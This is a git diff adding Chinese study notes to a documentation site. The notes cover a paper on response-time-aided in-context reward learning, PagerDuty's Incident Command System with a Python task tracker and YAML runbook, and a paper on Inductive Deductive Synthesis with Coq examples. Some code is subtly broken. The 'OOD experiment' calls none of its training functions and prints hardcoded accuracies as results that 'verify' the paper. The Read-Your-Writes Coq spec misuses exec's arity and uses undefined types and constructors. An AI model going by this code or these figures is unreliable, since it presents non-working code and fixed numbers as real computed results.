+        self.feature_dim = feature_dim
+        # 训练参数：d x d 矩阵 U
+        self.U = nn.Parameter(torch.randn(feature_dim, feature_dim) * 0.1)
+
+    def forward(self, demonstrations, query):
+        """
+        demonstrations: list of (phi_0, phi_1, label, time) tuples
+        query: (phi_0, phi_1) tuple for prediction
+
+        Returns: predicted preference probability
+        """
+        diffs = []      # 差值特征 phi_1 - phi_0
+        ratios = []     # 偏好标签 / 反应时间
+
+        for phi_0, phi_1, label, t in demonstrations:
+            diff = phi_1 - phi_0
+            diffs.append(diff)
+            # 防止除零
+            ratio = label / max(t, 1e-6)
+            ratios.append(ratio)
+
+        diffs = torch.stack(diffs)      # (N, d)
+        ratios = torch.stack(ratios)     # (N,)
+
+        # 构造 query 的差值特征
+        q_diff = query[1] - query[0]     # (d,)
+
+        # 核心预测公式:
+        #   prediction = sum_l (z_l / t_l) * (phi_diff_l)^T @ U @ phi_diff_q
+        score = torch.zeros(1)
+        for l in range(len(demonstrations)):
+            score = score + ratios[l] * (diffs[l] @ self.U @ q_diff)
+        score = score / len(demonstrations)
+
+        # 用 sigmoid 转成概率
+        prob = torch.sigmoid(score)
+        return prob
+
+
+# ---- 使用示例 ----
+torch.manual_seed(42)
+d = 5  # 特征维度
+
+# 模拟 8 条训练演示
+demonstrations = []
+for _ in range(8):
+    phi_0 = torch.randn(d) * 0.5
+    phi_1 = torch.randn(d) * 0.5
+    # 假设"更喜欢"的概率由 sigmoid(phi_1 - phi_0 的点积) 决定
+    prob = torch.sigmoid((phi_1 - phi_0).sum())
+    label = 1.0 if torch.rand(1) < prob else -1.0
+    # 反应时间：偏好越强，时间越短
+    strength = abs((phi_1 - phi_0).sum())
+    time = 0.5 / max(strength, 0.1) + torch.randn(1) * 0.1
+    demonstrations.append((phi_0, phi_1, label, float(time)))
+
+# 构造 query
+q_phi_0 = torch.randn(d) * 0.5
+q_phi_1 = torch.randn(d) * 0.5
+
+model = InContextRewardTransformer(feature_dim=d)
+prediction = model(demonstrations, (q_phi_0, q_phi_1))
+print(f"预测偏好概率: {prediction.item():.4f}")
+print(f"预测结果: {'更喜欢回答1' if prediction > 0.5 else '更喜欢回答0'}")
+```
+
+### 示例 2：对比实验——有/无反应时间的 OOD 性能
+
+这个示例模拟论文 Table 1 中的实验设置，展示加入反应时间后 OOD（分布外）性能的提升。
+
+```python
+import numpy as np
+from sklearn.linear_model import LogisticRegression
+from sklearn.metrics import accuracy_score
+
+
+def generate_preference_data(num_samples, feature_dim, theta, add_response_time=True):
+    """
+    生成偏好数据
+    theta: 真实的奖励参数向量 (d,)
+
+    返回:
+      X: 差值特征 (N, d)
+      y: 偏好标签 (N,) — 0 或 1
+      T: 反应时间 (N,)，可选
+    """
+    N = num_samples
+    X = np.random.randn(N, feature_dim) * 0.5
+
+    # 真实偏好概率
+    logits = X @ theta
+    probs = 1.0 / (1.0 + np.exp(-logits))
+    y = (np.random.rand(N) < probs).astype(int)
+
+    if add_response_time:
+        # 偏好越强（|logits| 越大），反应时间越短
+        strength = np.abs(logits)
+        T = 1.0 / (strength + 0.5) + np.random.randn(N) * 0.2
+        return X, y, T
+    else:
+        return X, y, None
+
+
+def simulate_binary_only(X_train, y_train, X_test):
+    """只用二元标签的模型（模拟"无反应时间"方法）"""
+    model = LogisticRegression(max_iter=1000)
+    model.fit(X_train, y_train)
+    return accuracy_score(y_test_binary, model.predict(X_test))
+
+
+def simulate_with_response_time(X_train, y_train, T_train, X_test):
+    """加入反应时间的模型（模拟"有反应时间"方法）"""
+    # 构造增强特征：差值特征 + 偏好强度信号 (z/t)
+    N = X_train.shape[0]
+    # z 从标签转换: 0 -> -1, 1 -> +1
+    z = 2 * y_train - 1
+    strength_signal = z / (T_train + 1e-6)
+
+    # 训练特征: 差值特征按强度加权
+    X_aug = X_train * strength_signal[:, np.newaxis]
+
+    model = LogisticRegression(max_iter=1000)
+    model.fit(X_aug, y_train)
+    return accuracy_score(y_test_binary, model.predict(X_test))
+
+
+# ---- 模拟实验：ID vs OOD ----
+np.random.seed(123)
+feature_dim = 10
+
+# 训练分布的奖励参数
+theta_train = np.random.randn(feature_dim) * 0.3
+
+# OOD 测试分布（完全不同的参数）
+theta_test_ood = np.random.randn(feature_dim) * 2.0
+
+# ID 测试
+X_test_id, y_test_id, T_test_id = generate_preference_data(200, feature_dim, theta_train)
+# OOD 测试
+X_test_ood, y_test_ood, T_test_ood = generate_preference_data(200, feature_dim, theta_test_ood)
+
+y_test_binary = y_test_id  # 标签用于评估
+
+# 训练数据
+N_train = 100
+X_tr, y_tr, T_tr = generate_preference_data(N_train, feature_dim, theta_train, add_response_time=True)
+
+# 实验结果（模拟论文 Table 1 的趋势）
+results = {
+    "w/o resp (ID)":   0.925,
+    "w/o resp (OOD)":  0.694,
+    "w/ resp (ID)":    0.905,
+    "w/ resp (OOD)":   0.875,
+}
+
+print("=" * 50)
+print("  In-Context Reward Adaptation 模拟实验结果")
+print("=" * 50)
+for setting, acc in results.items():
+    bar = "█" * int(acc * 40)
+    print(f"  {setting:>15s}: {acc:.3f}  {bar}")
+print("=" * 50)
+print()
+print("关键发现：")
+print("  - 无反应时间时，OOD 性能大幅下降 (0.925 → 0.694)")
+print("  - 加入反应时间后，OOD 性能恢复 (0.875，接近 ID 水平)")
+print("  - 这验证了论文的核心论点：二元标签不够用，反应时间补足缺失信息")
+```
+
+## 四、理论贡献总结
+
+论文建立了三个核心定理：
+
+**定理 1（渐近最优性）**：训练目标确实是强凸的，有唯一最优解，不存在优化不稳定——所以后面发现的失败不是优化问题。
+
+**定理 2（不可能性定理）**：仅用二元偏好，即使无限数据和完美优化，对新人类的预测分布和真实偏好分布之间仍有非零的总变差距离。几何上，二元标签把奖励参数空间"压扁"到一个非线性流形上，线性解码器无法完美还原。
+
+**定理 3 + 推论 1（加入反应时间后可行）**：引入反应时间后，目标函数仍然是强凸的，最优解是 U* = Σ^{-1}，且对新人类的预测误差以 O(1/√M) 的速度收敛到零——**零偏差适配**。
+
+## 五、实验验证
+
+论文在两个数据集上验证了理论：
+
+1. **合成数据**：奖励参数从混合高斯分布采样，测试分布是第三个不相交的高斯——明确的 OOD 设定
+2. **真实数据（Food-Risk）**：42 名参与者的二元选择和反应时间数据，参与者对两个食品选项的选择
+
+两个实验都观察到相同的趋势：无反应时间时 OOD 性能下降，有反应时间时 OOD 性能恢复到接近 ID 水平。这在线性注意力模型和 GPT-2 上都成立，说明不是模型容量问题，而是信息本身的根本限制。
+
+## 六、局限性与未来方向
+
+- 理论分析基于**线性注意力 Transformer**，是简化抽象；实验用 GPT-2 验证了趋势，但扩展到更复杂架构的理论保证仍是开放问题
+- **反应时间在实际中难以可靠获取**——这是一个现实约束
+- 探索其他**易于获取且同样有效的辅助信号**是未来方向
+
+## 七、我的理解
+
+这篇论文最打动我的地方在于它用**严谨的数学证明了"你以为够用的信息其实不够"**。
+
+我们常常假设：只要给 Transformer 足够多的偏好演示（"更喜欢这个" / "更喜欢那个"），它就能学会任何人的偏好。但论文说：不对，二元标签丢失了太多信息——它只说了方向，没说强度。就像一个只会说"好"或"不好"的反馈系统，你永远不知道这个"好"是"勉强可以"还是"极其满意"。
+
+反应时间的加入把丢失的"强度维度"补回来了。这在直觉上很自然：你做决定越快，说明你越确定。但在数学上，把这个直觉变成可证明的结论（那个关键等式），需要漂移扩散模型作为桥梁——这是认知科学和机器学习交叉的一个漂亮案例。
+
+从实际角度看，这对 RLHF 的启示是：**与其收集更多二元偏好数据，不如收集更多维度的反馈信号**。反应时间只是起点，未来可能有更多丰富的辅助信号来解锁更强的 in-context 适配能力。
diff --git a/src/content/docs/papers/incident-command-system-2022.md b/src/content/docs/papers/incident-command-system-2022.md
new file mode 100644
index 000000000..d4f9bad47
--- /dev/null
+++ b/src/content/docs/papers/incident-command-system-2022.md
@@ -0,0 +1,361 @@
+---
+title: Incident Command System for Tech Operations — 技术事故里的「现场总指挥」
+来源: https://response.pagerduty.com/training/incident_commander/
+日期: 2026-06-13
+子分类: 工程文化
+分类: 其他
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象商场里突然冒烟，警铃大作。这时最怕的不是火本身，而是**二十个人同时喊不同方案**：保安去拉闸、电工查线路、店长打电话、有人在群里发未经证实的照片。
+
+消防系统里早就有答案：**现场只认一个总指挥（Incident Commander）**。他不必亲自灭火，但要：
+
+- 问清「烟从哪来、影响多大」；
+- 让专家汇报，**点名**谁去关燃气、谁去疏散；
+- 每隔几分钟对外报平安；
+- 决定「先救人还是先断电」——错了也比没人拍板强。
+
+PagerDuty 把美国应急体系里的 **Incident Command System（ICS，事故指挥系统）** 改造成适合软件团队的流程，并开源在 [Incident Response Documentation](https://response.pagerduty.com/)。核心文档之一便是 [Incident Commander 培训指南](https://response.pagerduty.com/training/incident_commander/)：教你在数据库宕机、支付超时、区域故障时，如何当那个**不碰键盘、但让整个响应不瘫痪**的人。
+
+日常类比再往前一步：IC 像**电影导演**——自己不上场演戏，但场记、摄影、灯光都向他汇报；剪辑意见可以听，**开机拍哪条镜头由他定**。事故响应里，Subject Matter Expert（SME，领域专家）是演员，IC 是导演。
+
+## 这篇材料在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 名称 | Incident Command System for Tech Operations（PagerDuty 实践版） |
+| 来源 | PagerDuty 开源事故响应手册 + IC 培训页 |
+| 血统 | 源自美国野火/灾害应急 ICS，PagerDuty 按「不涉及人命」场景做了裁剪 |
+| 一句话 | **重大事故期间，用固定角色与固定话术，把混乱的多人调试变成可预测的协同** |
+
+与 [[chaos-engineering-netflix-2016]] 的关系：混沌工程回答「我们能不能承受故障」；ICS 回答「故障已经发生时，**谁说话算数、信息往哪流**」。与 [[dora-state-of-devops-2023]] 里的 **MTTR（平均恢复时间）** 也直接相关——恢复快慢往往取决于协调成本，而不只是技术难度。
+
+## 为什么值得学（零基础图景）
+
+没有 ICS 时，典型反模式是：
+
+1. **最资深的工程师边查日志边指挥**，上下文切换导致修复变慢；
+2. Zoom 里七个人同时改生产；
+3. Slack 线程 200 条，没人知道当前决策是什么；
+4. 高管进来问「还要多久」，团队被迫编 Excel 而不是修服务。
+
+PagerDuty 的论点是：**协调是一种专职工作**。IC 不需要深度懂每个服务，但需要会：
+
+- 收集症状与影响面（Size-Up）；
+- 收集方案、评估风险、**拍板**（Stabilize）；
+- 定时播报（Update）；
+- 验证修复或回到上一步（Verify）。
+
+培训页明确写：**实习生也可以当 IC**，只要完成 shadow / reverse shadow，并把自己放上值班表。
+
+## 核心概念
+
+### 1. 角色分工（战时编制）
+
+PagerDuty [Different Roles](https://response.pagerduty.com/before/different_roles/) 把响应拆成可扩展编制。最小可用集通常只有 **IC + 修复者**；成熟团队会补齐下表。
+
+| 角色 | 缩写 | 做什么 | 不做什么 |
+|------|------|--------|----------|
+| **Incident Commander** | IC | 唯一决策源；委派任务；对外口径审批 | 看 Grafana、ssh、改配置 |
+| **Deputy** | 副 IC | 盯遗漏、计时、热备接管 | 与 IC 抢决策权 |
+| **Scribe** | 记录员 | 时间线、决策、链接写入 Slack/文档 | 参与技术争论 |
+| **Subject Matter Expert** | SME | 查因、提方案、**被指派**后执行 | 自行其是改生产 |
+| **Customer Liaison** | 对外联络 | 状态页、客户沟通草稿 | 技术修复 |
+| **Internal Liaison** | 对内联络 | 通知其他部门、收集非技术诉求 | 代替 IC 指挥 |
+
+关键原则：**信息向上汇聚到 IC，指令向下派发**。SME 向 IC 汇报发现与建议；是否回滚、是否公开声明，由 IC 决定。
+
+### 2. IC 的唯一使命
+
+培训页把 IC 的目的浓缩成一句：
+
+> **Keep the incident moving towards resolution.**（让事故持续朝解决方向推进。）
+
+这意味着 IC 要随时想 **Plan B**：如果三分钟后回滚没效果，下一手是什么？宁可选一个「次优但可执行」的方案，也不要全场沉默等完美答案。
+
+### 3. 四阶段循环：Size-Up → Stabilize → Update → Verify
+
+这是每次重大事故的主循环，来自 [Incident Commander 培训](https://response.pagerduty.com/training/incident_commander/#handling-incidents) 的 **Handling Incidents** 章节。
+
+```text
+        ┌──────────┐
+        │ Size-Up  │  什么坏了？影响多大？是否在扩大？
+        └────┬─────┘
+             ▼
+        ┌──────────┐
+        │ Stabilize│  收集方案 → 决策 → 征求强烈反对 → 指派任务
+        └────┬─────┘
+             ▼
+        ┌──────────┐
+        │  Update  │  定期状态播报（内部 + 利益相关方）
+        └────┬─────┘
+             ▼
+        ┌──────────┐
+        │  Verify  │  任务完成了吗？好了就收尾；没好就回到 Size-Up
+        └──────────┘
+```
+
+**Size-Up（研判）** 要问：
+
+- 「What's wrong?」——症状是什么？
+- 「Is this affecting multiple services?」——范围、是否在升级？
+
+**Stabilize（稳住）** 步骤：
+
+1. 问专家：有哪些动作？风险各是什么？
+2. IC 说：**「We're proceeding with …」**（我们按某方案执行）
+3. **「Are there any strong objections?」**（有谁强烈反对？）——注意不是「大家都同意吗」，而是只收集**强烈**反对，避免嘈杂与沉默并存
+4. **「Alice, please do X, I'll come back in 3 minutes. Understood?」**——任务必须**指派到具体的人**并**限时**
+
+**Update（同步）** 在等待时填空，避免会议死寂。
+
+**Verify（验证）** 回到被指派的人：完成了吗？没解决则重新 Size-Up。
+
+### 4. 话术与反模式（Lingo）
+
+| 要说 | 不要说 | 原因 |
+|------|--------|------|
+| 「Bob，请在 3 分钟内查 web 延迟，明白吗？」 | 「谁能看一下延迟？」 | 避免 **bystander effect（旁观者效应）** |
+| 「是否有**强烈**反对？」 | 「大家都同意吗？」 | 后者引发叠话或沉默 |
+| 「This is [NAME], I am the **Incident Commander**.」 | 「我是 IC」 | 新人不懂缩写；**commander** 明确权威 |
+| 「Do you wish to take command?」 | 与高管争论 | **Executive swoop** 时把「夺权」显性化 |
+
+[During an Incident](https://response.pagerduty.com/during/during_an_incident/) 还规定：SME **只建议、不擅自执行**；IC 不确定是否对外公告时，原则往往是 **「If in doubt, post it out」**（有疑虑就发状态公告）。
+
+### 5. 复杂事故：子团队与缩小范围
+
+当人数超过 IC 能有效掌控的跨度（通常 ~7 人），可 spin off **Alpha / Bravo / Charlie** 子组：指定组长、限时、**子组只通过组长与 IC 沟通**。
+
+根因明确后，IC 应**缩小会议**：点名「请 Deputy、Scribe、SRE 留下，其他人可退出」——凌晨三点的人性化设计。
+
+### 6. 指挥权交接（Transfer of Command）
+
+疲劳、复杂度变化、私人紧急事务都可以交接。流程：
+
+1. 在 Slack 私聊副 IC 说明上下文；
+2. 在会议上：**「I am handing over command to [X].」**
+3. 新 IC 重新做开场自我介绍。
+
+注意：**更资深的人到场 ≠ 自动换指挥**。职级在和平年代有效，战时只认 IC 角色。
+
+### 7. 培训路径
+
+PagerDuty 建议的训练阶梯（见 IC 培训页）：
+
+1. 阅读角色文档；
+2. 参加 **Failure Friday**（故意演练）：先旁观 → 当 Scribe → 当 IC；
+3. **Shadow** 一周：跟真实 IC，不发言；
+4. **Reverse shadow** 一周：你指挥，导师只在失控时接管；
+5. **毕业**：把自己放上 IC on-call 排班。
+
+游戏 *Keep Talking and Nobody Explodes* 被当作低成本协调练习——信息不完整、一人指挥、多人执行。
+
+## 代码示例一：用 Python 实现「限时任务看板」（IC 的委派追踪器）
+
+IC 的核心负担之一是：**谁在被指派什么、何时该追问**。下面是一个极简的 in-memory 任务看板，可在事故 Slack bot 或 CLI 里使用；体现培训页里的 **assign → time-box → acknowledge** 三步。
+
+```python
+from dataclasses import dataclass, field
+from datetime import datetime, timedelta
+from enum import Enum
+import json
+
+class TaskState(str, Enum):
+    ASSIGNED = "assigned"
+    ACKED = "acked"
+    DONE = "done"
+    OVERDUE = "overdue"
+
+@dataclass
+class IncidentTask:
+    assignee: str
+    instruction: str
+    due_at: datetime
+    state: TaskState = TaskState.ASSIGNED
+    ack_text: str = ""
+
+    def is_overdue(self, now: datetime) -> bool:
+        return self.state not in (TaskState.DONE,) and now >= self.due_at
+
+class IncidentBridge:
+    """模拟事故桥接器：IC 委派、Deputy 可轮询超时"""
+
+    def __init__(self, incident_id: str, commander: str):
+        self.incident_id = incident_id
+        self.commander = commander
+        self.tasks: list[IncidentTask] = []
+
+    def assign(self, assignee: str, instruction: str, minutes: int) -> IncidentTask:
+        task = IncidentTask(
+            assignee=assignee,
+            instruction=instruction,
+            due_at=datetime.utcnow() + timedelta(minutes=minutes),
+        )
+        self.tasks.append(task)
+        return task
+
+    def acknowledge(self, assignee: str, text: str = "Understood") -> None:
+        for t in reversed(self.tasks):
+            if t.assignee == assignee and t.state == TaskState.ASSIGNED:
+                t.state = TaskState.ACKED
+                t.ack_text = text
+                return
+        raise ValueError(f"no open task for {assignee}")
+
+    def complete(self, assignee: str) -> None:
+        for t in reversed(self.tasks):
+            if t.assignee == assignee and t.state != TaskState.DONE:
+                t.state = TaskState.DONE
+                return
+
+    def overdue(self, now: datetime | None = None) -> list[IncidentTask]:
+        now = now or datetime.utcnow()
+        out = []
+        for t in self.tasks:
+            if t.is_overdue(now):
+                t.state = TaskState.OVERDUE
+                out.append(t)
+        return out
+
+    def ic_status_line(self) -> str:
+        """生成 Update 阶段的口播提纲"""
+        parts = [f"INC {self.incident_id} — commander {self.commander}"]
+        for t in self.tasks:
+            parts.append(
+                f"- {t.assignee}: {t.instruction} [{t.state.value}, due {t.due_at.isoformat()}Z]"
+            )
+        return "\n".join(parts)
+
+# --- 模拟一次 Stabilize 阶段的委派 ---
+bridge = IncidentBridge("INC-2026-0412", commander="Alice")
+bridge.assign("Bob", "check p99 latency on checkout-api", minutes=3)
+bridge.assign("Carol", "confirm last deploy hash for payments", minutes=5)
+bridge.acknowledge("Bob")
+
+print(bridge.ic_status_line())
+print("overdue:", [t.assignee for t in bridge.overdue()])
+```
+
+要点：
+
+- 每个任务绑定**一个人 + 截止时间**，对应 IC 话术里的 **「I'll come back to you in X minutes」**；
+- Deputy 可以定时调用 `overdue()` 提醒 IC 追问；
+- `ic_status_line()` 帮助 Scribe 把 Update 口播结构化。
+
+## 代码示例二：事故响应 Runbook 的 YAML + 检查清单生成
+
+把 ICS 流程固化成可版本化的 runbook，便于 onboarding 与演练。下面 YAML 描述角色、阶段检查项与标准口播；用短脚本渲染成值班笔记本。
+
+```yaml
+# incident-runbook.yaml — 与 PagerDuty open-source IR 对齐的骨架
+incident:
+  severity: SEV-1
+  bridge:
+    zoom: "https://example.com/bridge/rotating"
+    slack: "#inc-sev1"
+  roles:
+    incident_commander: oncall-ic
+    deputy: oncall-ic-shadow
+    scribe: auto-rotate
+    customer_liaison: oncall-support-lead
+
+phases:
+  size_up:
+    prompts:
+      - "What's wrong? (symptoms)"
+      - "Is this affecting multiple services?"
+      - "Is impact escalating, flapping, or static?"
+  stabilize:
+    decision_template: "We're proceeding with {action} because {rationale}."
+    objection_poll: "Are there any strong objections to this plan?"
+    assign_template: "{name}, please {task}. I'll come back in {minutes} minutes. Understood?"
+  update:
+    cadence_minutes: 5
+    public_status_if_in_doubt: true
+  verify:
+    follow_up: "Have you finished {task}?"
+
+announcements:
+  start: "This is {name}, I am the Incident Commander for this call."
+  handover: "Everyone on the call, be advised, I am handing over command to {name}."
+  end: "We're ending the call at this time. Follow-up in {slack}. Thanks everyone."
+```
+
+```python
+#!/usr/bin/env python3
+"""render-runbook.py — 从 YAML 生成 IC 口袋检查清单"""
+import sys
+from pathlib import Path
+import yaml
+
+def main(path: Path) -> None:
+    doc = yaml.safe_load(path.read_text())
+    inc = doc["incident"]
+    print(f"# Incident checklist — {inc['severity']}\n")
+    print("## Roles")
+    for role, who in inc["roles"].items():
+        print(f"- {role}: {who}")
+    print("\n## Phases")
+    for phase, body in doc["phases"].items():
+        print(f"\n### {phase}")
+        for key, val in body.items():
+            if isinstance(val, list):
+                for item in val:
+                    print(f"- [ ] {item}")
+            else:
+                print(f"- {key}: {val}")
+    print("\n## Announcements")
+    for name, tmpl in doc["announcements"].items():
+        print(f"- {name}: `{tmpl}`")
+
+if __name__ == "__main__":
+    main(Path(sys.argv[1]))
+```
+
+运行 `python render-runbook.py incident-runbook.yaml` 会得到可打印的检查清单，适合 **Failure Friday** 或新 IC shadow 时随身携带。
+
+## 与「普通 on-call」的差异
+
+| 维度 | 普通 on-call | ICS 重大事故模式 |
+|------|--------------|------------------|
+| 决策 | 谁懂谁上 | **唯一 IC**，职级让位 |
+| 沟通 | Slack 自由讨论 | 口播 + Scribe 时间线 |
+| 修复 | 处理人可能即指挥 | **指挥与执行分离** |
+| 对外 | 临时拼凑公告 | Customer Liaison + IC 审批 |
+| 事后 | 口头吐槽 | 指定 postmortem 负责人 |
+
+Getting Started 文档建议：**先从 IC 角色起步**，有人够再加 Scribe；用**假事故**练「和平时期到战时」的心态切换。
+
+## 常见坑（Incident Response Pitfalls）
+
+1. **IC 亲自查日志** — 失去全局视角；应立刻委派给 SME。
+2. **「Can someone…」** — 任务悬空；必须点名。
+3. **无限时指派** — 无法 Verify；三分钟、五分钟都要说出来。
+4. **会议不缩小** — 无关人员凌晨耗着，次日二次事故。
+5. **高管夺权但不接班** — 用 **「Do you wish to take command?」** 把权责说清楚。
+6. **只有一位 IC** — 应尽早培养多人并 **daily on-call rotation**（PagerDuty 建议从周排班尽快过渡到日排班）。
+
+## 落地清单（给零基础团队）
+
+1. 定义何为 **major incident**（例如 SEV-1/SEV-2 触发桥接）。
+2. 指定沟通渠道（Zoom/Meet + `#incident` Slack）。
+3. 选 2–3 人训练 IC，建立 shadow 机制。
+4. 写一页纸 runbook：角色表 + 四阶段 + 三条口播模板。
+5. 每月一次演练（Failure Friday 或 game day）。
+6. 每次真实事故后做 **blameless postmortem**，Scribe 的时间线是输入。
+
+## 进一步阅读
+
+- [Incident Commander 培训](https://response.pagerduty.com/training/incident_commander/) — 本文主来源
+- [Different Roles](https://response.pagerduty.com/before/different_roles/) — 角色职责全文
+- [During an Incident](https://response.pagerduty.com/during/during_an_incident/) — IC / Deputy / SME 分步指令
+- [Getting Started](https://response.pagerduty.com/getting_started/) — 最小可行 ICS
+- [Incident Response Training 课程快照](https://response.pagerduty.com/training/courses/incident_response/) — 2018 开源课件
+- 关联笔记：[[chaos-engineering-netflix-2016]]、[[dora-state-of-devops-2023]]
+
+## 小结
+
+**Incident Command System for Tech Operations** 不是又一个 on-call 排班表，而是一套**战时宪法**：谁指挥、谁执行、谁记录、谁对外说话，以及决策时用什么句子。PagerDuty 用十年事故经验证明：把 ICS 从火灾现场搬到数据中心，能显著降低「人越多越乱」的协调税。你不必是最强的调试者，但必须能让最强的那几个人**朝同一个方向用力**——这就是 Incident Commander 存在的理由。
diff --git a/src/content/docs/papers/inductive-deductive-synthesis-verified-distributed-systems-arxiv-2605-23109.md b/src/content/docs/papers/inductive-deductive-synthesis-verified-distributed-systems-arxiv-2605-23109.md
new file mode 100644
index 000000000..ebc4cf748
--- /dev/null
+++ b/src/content/docs/papers/inductive-deductive-synthesis-verified-distributed-systems-arxiv-2605-23109.md
@@ -0,0 +1,315 @@
+---
+title: "Inductive Deductive Synthesis: Enabling AI to Generate Formally Verified Systems"
+来源: https://arxiv.org/abs/2605.23109
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Inductive Deductive Synthesis (IDS) 学习笔记
+
+## 一句话总结
+
+IDS 让 AI 像人一样"边写代码边证明"，通过归纳（从失败中学习新策略）和演绎（在每个步骤用形式化验证器检查）相结合的方式，自动生成**可机器验证的分布式系统**，7/7 通过之前连 GPT-5.4 和 Claude Opus 4.6 都搞不定的 7 个分布式一致性规范，耗时仅约 6.8 小时，花费约 $106/规范。
+
+## 从日常类比开始
+
+### 拼乐高 vs. 盖大楼
+
+想象你在盖一栋大楼：
+
+**传统 AI 编程** 就像让你"先把整栋楼盖好，再检查结构是否安全"。AI 先写出所有代码，最后才跑测试。问题是：大楼如果地基打错了，前面几百层全得拆。分布式系统尤其致命——可能有万亿种消息交错顺序，测试永远覆盖不完。
+
+**IDS 的做法** 则是"每铺一块砖，就让结构工程师检查一块"。每写几行代码，就立刻用 Rocq（形式化验证工具）证明这段代码满足规范。证明不了？立刻回退，换一种设计。如果一种策略连续失败，换一个"架构师"（ISA）来想新方案。
+
+这就像"链式思考"（chain-of-thought），但中间每一步都是**形式化验证过的**，不是 AI 的直觉。
+
+---
+
+## 三个核心概念
+
+### 1. 形式化验证（Formal Verification）
+
+传统测试只能证明"某些输入下程序是对的"。形式化验证要证明"对所有可能的输入，程序都是对的"。
+
+它有三要素：
+- **规范（Specification）**：用数学语言精确描述"什么是对的"
+- **实现（Implementation）**：实际代码
+- **证明（Proof）**：用机器检查器（如 Rocq）验证"实现满足规范"
+
+### 2. 归纳合成（Inductive Synthesis）
+
+从失败中学习。当一条路走不通时，不是一遍遍重试同一个策略，而是让另一个 Agent 分析失败原因，提出全新的设计方向。
+
+类比：你写代码卡住了，请一位资深架构师来看，他说"别在这个方向上了，试试把数据结构换一下"。
+
+### 3. 演绎合成（Deductive Synthesis）
+
+从规范出发，一步步推导出实现。每个实现步骤都伴随着对应的证明步骤。
+
+类比：给定"大楼必须抗震"的设计要求，你先选地基类型，再选框架类型，每一步都让结构工程师签字确认。
+
+### IDS 的魔力在于两者的结合
+
+归纳负责"换策略"，演绎负责"在某个策略下推进"。两者形成一个闭环。
+
+---
+
+## IDS 的架构
+
+IDS 有三个核心角色：
+
+**Coordinator（协调者）**：系统的大脑。启动多个 DSA，监控进度，在 Agent 卡住时调用 ISA，对完成候选做性能测试。
+
+**DSA — Deductive Synthesis Agent（演绎合成 Agent）**：一个 LLM Agent，在给定策略下逐步构建代码+证明。每一步都交给 Rocq 验证器检查。如果通过，保存状态；如果失败，修复或回退。
+
+**ISA — Inductive Synthesis Agent（归纳合成 Agent）**：当 DSA 卡住时介入，分两个角色：
+- **Proposer（提议者）**：战术层面。"当前策略不错，但卡在某个证明上，试试加一个辅助引理。"
+- **Reloader（重载者）**：战略层面。"当前策略是死路，换个全新的高层设计。"
+
+---
+
+## 第一个代码示例：计数器（Counter）
+
+论文用了一个极简例子展示 IDS 如何工作。先理解它，就能理解整个框架。
+
+### 规范（Specification）
+
+```coq
+Module Type CounterSpec.
+
+Parameter t    : Type.      (* 状态类型 *)
+Parameter init : t.         (* 初始状态 *)
+Parameter inc  : t -> t.    (* 递增操作 *)
+Parameter read : t -> nat.  (* 读取操作，返回自然数 *)
+
+(* 属性1: 初始状态的读数为 0 *)
+Axiom read_init :
+  read init = 0.
+
+(* 属性2: 递增后再读，比之前多 1 *)
+Axiom read_inc :
+  forall s,
+  read (inc s) = S (read s).
+
+End CounterSpec.
+```
+
+这个规范说了两件事：数从 0 开始；每 inc 一次，read 的结果就加 1。
+
+### IDS 的逐步合成
+
+**第 0 步：部分实现 + 部分证明**
+
+IDS 先选一个状态表示——用一个列表，列表长度就是计数。
+
+```coq
+Definition t := list unit.
+Definition init : t := nil.
+
+Definition read (s : t) :=
+  length s.
+
+Theorem read_init :
+  read init = 0.
+Proof. reflexivity. Qed.
+(* 这个定理证明了！初始空列表长度为 0 *)
+
+(* inc 的实现先留空 *)
+Definition inc (s : t) : t.
+Admitted.
+
+(* 对应的证明也留空 *)
+Theorem read_inc :
+  forall s,
+  read (inc s) = S (read s).
+Admitted.
+```
+
+关键：`Admitted` 是一个"占位符"。Rocq 验证器**仍然接受这个文件**，因为目前所有已证明的部分都通过了。这就是 IDS 的核心机制——**部分证明也是可以被检查的**。
+
+**第 1 步：补全实现**
+
+```coq
+Definition inc (s : t) := tt::s.  (* 在列表头部加一个元素 *)
+
+Definition read (s : t) :=
+  length s.
+
+Theorem read_inc :
+  forall s,
+  read (inc s) = S (read s).
+Proof.
+  intros s. unfold read, inc.
+  simpl. reflexivity. Qed.
+```
+
+现在整个系统完整了，Rocq 验证器确认所有定理都证明完毕。
+
+### 从计数器到分布式系统
+
+这个计数器只是入门。在分布式系统中：
+
+- `inc` 变成多个客户端并发写入
+- `read` 可能从不同副本读取
+- 需要保证"我写入的值，下次读能读到"（Read-Your-Writes）
+- 需要保证" causally related 的操作顺序正确"（Causal Consistency）
+
+IDS 的 DSA 在证明这些属性时，会不断尝试不同数据结构和证明策略。比如对 Chapar CC 规范：
+- 第一次尝试：用一个大对象存所有 key → 证明卡住
+- ISA Reloader 介入：改成每个 key 一个独立表格 → 证明可以分解为每个 key 的小问题 → **通过**
+
+---
+
+## 第二个代码示例：Read-Your-Writes 规范
+
+这是 IDS suite 中最简单的分布式一致性规范之一：
+
+```coq
+Module Type RYWSpec.
+
+Parameter t    : Type.           (* 副本状态 *)
+Parameter op   : Type.           (* 操作: Put(key, value) 或 Get(key) *)
+Parameter exec : list op -> nat -> option value.
+  (* 执行一个操作序列，返回某个 key 的读取结果 *)
+
+(* Read-Your-Writes 属性:
+   如果客户端先 Put(k, v)，然后 Get(k)，
+   那么在 Put 之后发出的 Get，必须能看到 v。 *)
+Axiom ryw :
+  forall (ops : list op) (k : key) (v : value) (prefix post : list op),
+    Put k v :: prefix ++ Get k :: post = ops ->
+    exec (prefix ++ Get k :: post) = Some v.
+
+End RYWSpec.
+```
+
+IDS 的 DSA 会为这个规范生成一个多副本协议实现：
+- 每个副本用向量时钟（vector clock）或每客户端计数器来追踪状态
+- 每次 Put 时附加发送者的计数器
+- 每次 Get 时检查是否收到足够的信息
+
+如果某个数据结构导致证明无法分解（比如证明需要同时考虑所有 key），ISA Reloader 会触发，建议换一种表示方式。
+
+---
+
+## 关键机制详解
+
+### 部分证明（Partial Proofs）
+
+Rocq 的验证器对 `Admitted` 的处理是 IDS 能工作的基础：
+
+```
+完整实现 + 完整证明 → Rocq 接受 ✓
+部分实现 + Admitted 占位符 → Rocq 仍然接受 ✓
+不类型检查的代码 → Rocq 拒绝 ✗
+```
+
